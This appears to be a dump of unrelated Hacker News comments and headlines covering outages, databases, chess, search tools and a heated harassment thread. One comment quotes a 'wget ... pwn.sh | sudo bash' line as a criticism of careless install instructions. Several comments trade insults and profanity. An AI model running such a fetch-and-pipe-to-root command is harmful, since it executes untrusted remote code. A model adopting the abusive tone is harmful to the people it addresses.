skysight-inc/HackerNews huggingface dataset:
Are the alternatives any better?

If you run a service yourself, you will have downtime, only you won't have Google's amazing SREs and wealth of experience to draw upon to resolve your outage. You will have to fix it yourself.

If you depend on some other service, you are subject to their uptime and disaster recovery capabilities. Nobody is better than Google at either of these things.

But to your point, it probably is a good idea anyways to have offline backups of your critical data, and to have out-of-band fallbacks for critical communication in the event your primary channels have an interruption.
Review My Project - WriteYourRep.org
https://writeyourrep.org

I made this because I believe that we should easily be able to communicate with our representatives. It's easy to get caught up in the tedium of participating in politics or informing your representatives of your opinions, so I've made it dead simple to send them a letter through the mail.

The application lets you select any Senator or Representative, broken down by state. You simply type your letter, we take care of the rest and mail it to Washington, DC.

We never read your letters. They are encrypted and added to the printer queue. When the printer processes the letter, it stuffs the envelope automatically. We then delete your encrypted letter from our database entirely.

Any feedback? I know it's pretty rough looking and I'm working with a designer on facelift.
I am not saying it's not AI or that it doesn't learn; I only claim that it doesn't need to have agency or self-awareness, or even any sensors connected to the real world.

As for the personalization, personalized recommendation algorithms are very common, so nothing really new here either. It's feasible that it just filters possible responses by these personal information.

As to whether or not it's "fake", that's a different question. Is illusionist's "magic" fake? In a way, it's the only magic that is real.. I don't think people will accept AI until we actually cut the brain completely and find out, to our chagrin, that it's doing essentially the same thing ("lookup of previous conversations").
My concern with posts like this is that a) men currently hold most of the power b) attacking their behavior in a confrontational manner tends to close doors, not open them and c) I do not see it offering a real solution.

I am female. I think about such things a lot and have, in the past, written about my own negative experiences. But my concern is that this does not give us a path forward.
https://writeyourrep.org
NoSQL databases are not a magic solution for CAP, they just make different trade-offs, so nothing stops you from using a RDBMS and choosing your own trade-offs too. For instance, you could choose to lose the C and have a multi-master PostgreSQL cluster by taking some measures, like using uuids and appending-only. In practice, you always have to solve some things on the application layer (e.g., distributed queries), so that's why out-of-the-box solutions are popular.
Entirely speculating, but I think that's because a lot of parents avoid the Sex Talk until it's way too late. I think that if parents instill this kind of respect for consent at a much younger age, it will stick in the face of their children's peers' confused notions about what is and isn't okay.

But, again, I'm just speculating.
Hbags, you are full of shit.

Merritt said the behavior was unacceptable and the way to fix it is to address it when it occurs. Followed by the comment:

---
"Running off to write yet another gender-division-in-the-tech-world blog which will be read, primarily, by the sort of folk who already agree with you isn't going to make nearly as much of a difference as taking care of issues promptly".
---

Then said that a story about a bad situation where the person spoke up about it would be a great story that would spread "like wildfire".

At absolutely NO point in Merritt's short post was it said that if you don't speak up when you are uncomfortable or accosted, you should never be allowed to say anything about it.

You owe Merritt an apology for straight out lying about the content and intent of their comment and repeatedly attacking their character based solely on the things you invented (then repeated) in this thread.
Seeing as I went 16 moves against Kasparov as a complete noob to chess, does that make me better than Bill Gates? My programming ability and checkbook seem to disagree, however. :/
> but the "old men" of the physics community always suppressed any real criticism of it since it's been almost impossible to get a job in physics since 1968

This comment does nothing but discredit you and make you look like the Internet crank you seem to want to be. I already think you don't have the slightest clue what you're talking about.
@throwawaycoder I see. You're underlying assumption is that there will ever be only one single "economy" of which there are multiple markets. I'm not sure that is wrong either (though I am not sure that is right). Thanks for bringing that up.
can we have an option to use the old version as well?
I use your search all the time and this new version doesn't work well enough yet.

I like to search by date (newest at top) and then toggle between stories and comments. also would be nice to allow stemming or not, i.e. search for "julia" comes up with stuff about juliaN assange.
Apparently Google+ was down too.

crickets
Sorry, but this is part of a pattern. You may feel OK with treating this as an isolated incident, but it's not. It deserves to be lumped into a category of common responses to stuff like this: victim blaming and derailing.

It does approximately nothing to prevent a situation like this from happening. It puts the onus on a woman to deal with other people's utterly unacceptable behavior. It erases the responsibility not just of the aggressor, but everyone else in the room with her who did nothing.

I'm sure it's pure coincidence this also divests the commenter from any obligation to talk seriously about these issues.
No, he never said or even intimated "don't write about it". He said that writing this article this way would only be read by people who already agree. He said it would be more effective to be proactive at the time. I disagree with him about such a thing spreading like wildfire, but there is nothing in what he said that meant "don't write at all". That's your projection. He said "if you do A, it won't be as effective as B".

The person who is being an arsehole and a bully is you, naming, shaming, strawmanning, abusing, and being generally vituperative.
I'm legitimately terrified that you're going to replace HNSearch, and that therefore HNSearch may be shut down.

Using your version, I get the feeling you've never used HNSearch extensively, or at least not in the way a power user would. We at HN are power users. We need a minimum of glitter and a maximum of features. But there's not even a basic feature like by:tptacek.

I'm getting the vibe that you care more about testing your ideas than delivering features, otherwise there wouldn't be nonfeatures like image thumbnails. I would love to be wrong about that.

At a minimum, your search engine must be capable of most of what HNSearch was capable of. A simple test is: are you able to search for all of PG's downvoted comments? It should be possible to specify the search parameters: "comments only. Author: pg. sort by points. Sort ascending."
How pretending to be a designer is killing your career
Say that to some gay rights activists and they will get VERY upset (usually those that defend that gays are born gay, and thus this is why gays must have several rights, and why the religions should not consider it wrong).

I had a particularly heated discussion once, with a hetero woman that was sympathizer of gay rights, she was VERY convinced that sexual orientation was fixed, she told me that there is no such thing as "ex-gay", and all "ex-gay" are just closeted homosexuals and will become gay again given enough time.

I gave her some articles about ex-gays complaining about receiving MORE flak after becoming ex-gay than when they were gays (including there is a existance of... closeted hetero, people that were gay, and do not assume to be hetero because both hetero and homosexuals then attack them, assuming he is still a sort of traitor gay), this still did not convinced her.

Then I showed a discourse by Luiz Mott (leading gay rights activist in Brazil), where he claims that he was hetero, and now is gay by his own choice, and that he was NOT born gay.

This STILL did not convinced her, she told me that Luiz Mott was a liar, but only in that case (and that everything else he says is true).

Sometimes people disappoint me.
I leave my house 90 minutes before I'm due at work. It takes me between 15 and 30 minutes to get to work, depending on traffic and public transportation. Instead of going into the office, I go into a coffee shop around the corner and write for 45-60 minutes, and then head up into the office.

I've managed to keep this up for 3 months straight now, and while I'm not anywhere close to being ready to publish, I've got more words written in my book(s) than I wrote in the last 3 years combined.

As another wise person once said: there's no such thing not having time -- only not making it a priority. Everything comes down to priorities. Do you not have time to do side projects, or is making side projects not a priority for you? Make a list of everything you do in your time, and fo reverything that is a lower priority than your side project, bump it off the list. Don't do it. Do your side project instead.

Drinking with buddies less important than finishing your side project? Schedule it for another time.
Is Breaking Bad less important than finishing your side project? Watch it on Netflix later.

And so on. Prioritize, prioritize, prioritize.

I decided a few months ago that publishing a book was one of my top priorities. What wasn't my top priority? Watching yet another episode of some TV show on Netflix. Instead of watching 3 episodes a night, I can watch 2, go to bed an hour earlier, wake up an hour earlier, and have time to write in the morning before work with zero distractions.

Works for me, anyway. Good luck.
AFAIK bhyve only supports paravirtualization (and for now freebsd guests)?
Effects of asymmetry between the matter and antimatter are also pretty weak and only show up after accumulating many results so I'm not that sure that you can just ignore neutrinos.
Umm... no.
This is so sweet, Artur!
Neither human nor machine can travel at the speed of light, so no you couldn't substitute a machine.
I am against patents, and I agree that by implication copyright is harmful too. I tend not to be an absolutist so am still considering my position on it, but I can't really defend copyright strongly.
How to Install Mac OS X 10.9 Mavericks in VMware Fusion
Is there any place in the US that actually does this?
Most likely an excellent read but I'm interested in this exact problem that I have. Also I'd like to limit myself to the hypotheses that are somewhat proven and most scientists consider them to be true.
Is not knowing your opponent part of the strategy? Carlsen played the 'tricks' way he did because he knew, or felt reasonably certain that Gates would fall for them. Critiquing his play based on what you would do in Gates' position is simply wrong, because I'm assuming the #1 chess player in the world would play differently had he been playing against an international master such as yourself.
Thought this was going to be an article about RethinkDB.
There is a Derren Brown (UK Illusionist) piece where he plays
seven opponents at once, walking round in a big circle, and amazingly wins 4 out of 7.

Afterwards the explanation is simple - he played 6 masters or grandmasters, and one guy off the street. And simply (!) memorised the moves of player A and made them against player C, B to D etc. All he had to do was play a decent game against the guy off the street and he would always beat 50%
"There is no spoon."
I was just responding to the things you said.

If that's your main point, I already replied to it. Efforts are already underway by governments, scientists, companies, non-profits, foundations, and even somewhat poor individuals like myself to resolve the other issues facing people around the world.

Why do you believe that money spent on environmental technology is slowing the progress in other areas? Do you really think that if countries would just stop building wind power for a few years, the Bill & Melinda Gates Foundation would cure malaria more quickly?

Even if that were true, aren't there, I dunno, dozens of other sources of funding that would make more sense to borrow from?

The thing is, your objection here is a really common one, and it always takes the same form: don't spend money on environmental technology, it would be better spent doing (anything at all other than environmental technology) instead. But nobody ever justifies it. Nobody ever bothers to figure out what the relative impacts on human life of environmental technology vs., say, increased funding for malaria research are.

The Dust Bowl disaster in the 1930s was directly caused by human activity. It displaced hundreds of thousands of people (or millions, depending on how you count) and contributed to starvation conditions in large parts of the country. It caused dust pneumonia, which killed people (http://www.pbs.org/wgbh/americanexperience/features/transcri...).

A single typhoon in the Phillipines last year killed thousands and left millions more homeless (http://www.cnn.com/2013/12/08/us/typhoon-haiyan-one-month/).

The pollution in Beijing might be taking as much as 16 years off of the average resident's life span there (http://www.businessinsider.com/beijing-air-quality-hits-life...).

Drought, extreme weather (both hot and cold), tropical storms, hurricanes, typhoons, tornadoes, bad air quality -- these things are not hypothetically affecting people. While we can't altogether stop these disasters any time in the near future, we can start doing things now to make them less severe.

Real people have been dying for, at least, close to a hundred years because of human impacts on the environment.
Amazing to see this story so swiftly knocked from the front page. Sad reflection on our industry.
This is complete incompetence. I am opposed to filtering at all, but if they are going to do it there are much more effective ways to do it that aren't very complicated, and if they don't want to do it themselves there are companies that do this.

Spam filtering has been extremely successful with just taking keywords that are commonly found or not found in spam and updating the probability that it is or is not spam. A single word isn't enough to indicate that something is porn, especially a common one like "sex", especially if it was found in a string of characters rather than an individual word.
> No. what Merritt said that if you don't say something right there and then you should never be allowed to say anything.

No, he says, explicitly, that not saying anything there and then but blogging about it later won't be as effective in producing the desired change.

He does not say that people shouldn't be allowed to talk about it after the fact without addressing it immediately, he says that doing so is not the ideal choice if the goal is to actually deal with the problem.

There's a universe of difference between what he said and your characterization.
How to avoid every common mistake when booking a flight
It's correct that sexuality changes throughout your life. It's also correct that it's fixed, because a person doesn't decide how that changes.
How about you ask? Start by being polite.

"Oh, I haven't been introduced. So how are you two connected?"

You'll to have to step out of your comfort zone for this even if it is immediately obvious. And if it's normal, you've lost nothing.
The point was many successful companies don't do this.
Glad Google is keeping people informed, also glad to see I'm not the only one developing GWT apps.
This came out of Cornell??

1) Adolescents are well known to be more confused about sexuality than adults, often conflate friendship and charisma with sexual attraction, and often experiment with sexuality and later decide what's for them. It's not surprising at all that the number of bisexuals would drop.

2) As I read this, they changed the question from "romantic attraction" to "sexual attraction" between the two surveys. Seriously???
That "Exim exploit"-link is a little misleading -- that's not a bug in the software, but in (third party) documentation:

https://www.redteam-pentesting.de/de/advisories/rt-sa-2013-0...

By that metric all software on your servers are insecure (consider the number of "just do: 'wget http://trollol.com/pwn.sh|sudo bash -'"-type advice you find looking at install-instruction for random github projects).
As the Apple Mac turns 30, we need another computer revolution
This is the first iteration, we will improve it with your feedback
I think that the reason why it's problematic is that it is focused on reducing diversity of competition, which reduces the number of ideas that get developed and tested in the marketplace and retards progress.
Eh, close enough for government work. I don't know of a plausible reason why with enough research and time, the full workings of every neuron in the human brain might not be understood. I guess it's possible that the brain is just incomprehensible, but it seems fairly unlikely.
The order by time and filtering to only stories/comments was the reason I used HNSearch before. The new interface takes away all of that flexibility and makes finding things a lot harder.
You owe Merritt an apology

No way. Meritt clearly attempted to shame her for writing about something that, for whatever reason, she didn't confront immediately.

He's a censor. He's shaming her for protesting outside his designated free-speech zone. Fuck him.
But the brain doesn't do the same thing; it synthesizes new information from those previous conversations and creates abstractions and metaphors and such. It's not at all like a chatterbot doing simple lookups.
Hollywood better step it up! Silicon Valley is now officially weirder.
> He said it would be more effective to be proactive at the time. I disagree with him about such a thing spreading like wildfire

He didn't say that being proactive at the time would spread like wildfire, he said that being proactive at the time and writing about that experience afterward would.
Hmm, I used to play lots of chess and still follow the chess world, so this wasn't interesting or educational to me. But if people who aren't familiar with chess or Magnus Carlsen still found it fun or interesting, then that's good enough for me. :)

Thanks for your sincere reply to my sincere question.
> The biggest hangup other than the UX issues the author talks about is the fear of having to manually shard your data. There are a lot of promises about automatically sharding your data from NoSQL vendors but I have no idea if they actually are able to deliver on this. If you are just doing a K-V store, then of course sharding is easy, regardless of the database you are using. I don't think there is really a silver bullet here, just maybe better tooling and removing redundant manual steps. You still need to think carefully about data access paths and queries and so on. Any additional sharding-centric features of NoSQL databases missing in mainstream databases could presumably be added, if they don't exist already with poor UX.

Original author here. Yes this is definitely another real hangup, though I semi-intentionally left this one out as magical sharding is still a bit unclear of how well it works depending on who you talk to.

> For example PostgreSQL replication, wal log archiving, etc works great but it's still a bit tougher to set up than the more magical cluster auto discovery/configuration/sync stuff you see in things like elasticsearch. It would be interesting if the PostgreSQL people made a real push for a release to tighten up the operational UX of the product to be more human friendly instead of adding on more core features. (Not that I'm complaining, it's great!)

A big plus one on all this as well, and we're doing what we can to push it forward.
I have not seen the film, but wouldn't that be a good interim solution? You'd need to set it up for round-the-clock support. Multiple interchangeable human Sams transmitting through a consistent voice interface. Voice-to-text-to-voice is already good, so no major breakthrough needed there. Recruiting Sams would be difficult, though it should appeal to people who want to work from home. QA is probably the greatest challenge. Due to costs, it needs to be at the higher end of the market; $1,000s per year. The Sams could be differentiated: "positivity coach", "your mum" etc.
No, you will ask politely. It's 100% socially acceptable to ask about how people are connected or know each other.

If people get weird about it, apologize. "Sorry, I was just worried for a second that you were, like, groping her!" Laugh it off. Women are likely to respect you for the fact that you're even aware that this is a problem.
I said yet; I in no way implied we'd never understand it. I'm merely pointing out that those statements are not at all the same thing.
But not 98% of the currency. Maybe thats the part I dont understand.

And 98% of wealth is owned by 1%? Globally maybe but in the US? Home ownership is very widespread - something like 80m homes, with trillions of asset value.
No kidding. We're a Google Apps customer and, since all our employees already have a Google account, decided to use Google Auth for some internally business apps we've developed. While it sucked that Gmail/Hangouts were down, it royally sucked that our other apps were accessible. Even after Gmail/Hangouts came back online, Google Auth was throwing 503s for about another half hour. Boooooo!
> There a bunch of facts that contradict this, e.g. the exstance of the LGPL, RMS supporting BSD licencing of Xiph codecs etc.

Those don't actually contradict it in any way that I can see.

> His approach is a lot more nuanced and tactical than it is often portrayed.

Sure. That doesn't mean that the long-term goal isn't as I've described it (and, in fact, RMS has pretty explicitly said it is for him, though that may or may not be true of the FSF.)
That's a quite clever application of the one ahead principle
It would accomplish all of these goals in the long run.
This is the World's Best Designed Pizza Box
Stolen security camera continues cloud uploads
Would it? I personally doubt that. Do you have an example of something like that working? Or is that just speculation?
How Real is Spike Jonze’s ‘Her’? Artificial Intelligence Experts Weigh In
How many more caveats do I need? I even specified that the concept was up for debate and that it wasn't the victim's responsibility to do anything.

everyone else in the room with her
Unless everyone else in the room was attending to the interaction of her and that one guy, this is hyperbole and doesn't help. If I'm in a conversation on one side of the room, do you really expect me to run over and forbid someone putting their hand on someone else's leg, despite not being aware of their previous conversation?

Anyway, if you want to talk about derailing, how about we talk about how this stupid large thread is focusing almost entirely on the preamble of the essay, and not the core theme that women aren't treated as being intellectually capable by the group? A large thread that is inflamed by throwing abuse around? How does this help the author resolve her article's thematic problem, being that her mind isn't respected?
check out riverbed. i'm not h1b, but i had many coworkers there who were and said it was great for h1b workers.
When the difference in level is so big you can use the opponent time to think. Bill has 2:00, but Carlsen has 2:30 :) (I’m not an international master, but I played a lot of chess while I was a child, including some matches with 5:00 for me and 2:00 for the other player.)